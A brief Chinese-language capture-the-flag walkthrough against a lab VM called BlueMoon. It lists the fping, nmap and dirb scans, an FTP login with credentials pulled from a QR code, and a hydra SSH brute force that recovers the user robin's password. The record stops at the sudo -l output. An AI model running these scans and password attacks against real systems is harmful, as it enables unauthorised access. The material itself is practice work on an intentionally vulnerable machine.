fping -g 192.168.137.1/24 # step1 扫主机,找到靶场131
nmap -A -p 1-65535 -v 192.168.137.131 # step2 扫端口,扫到21,22,80
dirb http://192.168.137.131 dict.txt # step3 扫目录,扫到"hidden_text"(论字典的重要性,我也没扫到,网上找的答案)

得到一个qr码,解开之后拿到ftp用户密码

#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user $USER $PASSWORD bye EOF

登陆之后有两个文件,information文件说"hello robin,早跟你说过你密码不行了,我给你一个密码单子,你选一个改了吧",另一个当然就是密码字典了(补一句,ftp可以去根目录,虽然没用上)

hydra -l robin -P p_list.txt ssh://192.168.137.131 # 成功爆出密码:k4rv3ndh4nh4ck3r

ssh连接之后...

robin@BlueMoon:~$ sudo -l
Matching Defaults entries for robin on bluemoon:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin